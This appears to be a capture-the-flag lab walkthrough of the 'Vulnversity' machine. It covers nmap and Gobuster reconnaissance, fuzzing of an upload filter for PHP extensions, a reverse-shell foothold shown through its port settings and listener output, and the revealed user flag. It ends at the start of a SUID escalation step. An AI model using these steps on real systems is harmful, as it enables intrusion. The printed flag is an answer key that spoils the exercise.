Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
su
echo "10.10.39.96 vulnversity.thm" >> /etc/hosts
mkdir thm/vulnversity
cd thm/vulnversity
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
ping -c 3 vulnversity.thm
PING vulnversity.thm (10.10.39.96) 56(84) bytes of data.
64 bytes from vulnversity.thm (10.10.39.96): icmp_seq=1 ttl=63 time=245 ms
64 bytes from vulnversity.thm (10.10.39.96): icmp_seq=2 ttl=63 time=99.3 ms
64 bytes from vulnversity.thm (10.10.39.96): icmp_seq=3 ttl=63 time=224 ms
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system (probably Linux), while Windows systems usually have a TTL of 128 secs.
2.1 - Scan the box; how many ports are open?
nmap --open -n -Pn -vvv vulnversity.thm
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3128/tcp open squid-http syn-ack ttl 63
3333/tcp open dec-notes syn-ack ttl 63
6 ports are open
2.2 - What version of the squid proxy is running on the machine?
3128/tcp open squid-http syn-ack ttl 63
Seeing last report scan, we see that squid-http is a service of tcp port 3128.
nmap -p3128 -sV -sC -n -Pn -vvv vulnversity.thm
PORT STATE SERVICE REASON VERSION
3128/tcp open http-proxy syn-ack ttl 63 Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
3.5.12 is the squid proxy version.
2.3 - How many ports will Nmap scan if the flag -p-400 was used?
400 ports
2.4 - What is the most likely operating system this machine is running?
nmap -O -sV vulnversity.thm
Aggressive OS guesses: Linux 5.4 (99%), Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Ubuntu
2.5 - What port is the web server running on?
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Port 3333
2.6 - What is the flag for enabling verbose mode using Nmap?
-v
Task 3 - Locating directories using Gobuster
Using a fast directory discovery tool called Gobuster, you will locate a directory to which you can use to upload a shell.
Gobuster is a tool used to brute-force URIs (directories and files), DNS subdomains, and virtual host names.
gobuster dir -u http://vulnversity.thm:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
3.1 - What is the directory that has an upload form page?
Now that you have found a form to upload files, we can leverage this to upload and execute our payload, which will lead to compromising the web server.
4.1 - What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out.
.php
We will fuzz the upload form to identify which extensions are not blocked.
To do this, we're going to use BurpSuite.
We're going to use Intruder (used for automating customised attacks).
To begin, make a wordlist with the following extensions:
.php
.php3
.php4
.php5
.phtml
.phtml
Now that we know what extension we can use for our payload, we can progress.
We are going to use a PHP reverse shell as our payload. A reverse shell works by being called on the remote host and forcing this host to make a connection to you. So you'll listen for incoming connections, upload and execute your shell, which will beacon out to you to control!
$ip = 'vulnversity.thm';
$port = 4444;
4.2 - What is the name of the user who manages the webserver?
listening on [any] 4444 ...
connect to [10.9.80.228] from (UNKNOWN) [10.10.114.236] 39004
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:05:44 up 46 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls home
bill
bill
4.3 - What is the user flag?
cd home/bill
ls -ah
.
..
.bash_logout
.bashrc
.profile
user.txt
cat user.txt
🚩Reveal Flag1 [user.txt]
8bd7992fbe8a6ad22a63361004cfcedb
Task 5 - Privilege Escalation
Now that you have compromised this machine, we will escalate our privileges and become the superuser (root).
In Linux, SUID (set owner userId upon execution) is a special type of file permission given to a file. SUID gives temporary permissions to a user to run the program/file with the permission of the file owner (rather than the user who runs it).
For example, the binary file to change your password has the SUID bit set on it (/usr/bin/passwd). This is because to change your password, it will need to write to the shadowers file that you do not have access to, root does, so it has root privileges to make the right changes.
5.1 - On the system, search for all SUID files. Which file stands out?
We can use the following command to list SUID files:
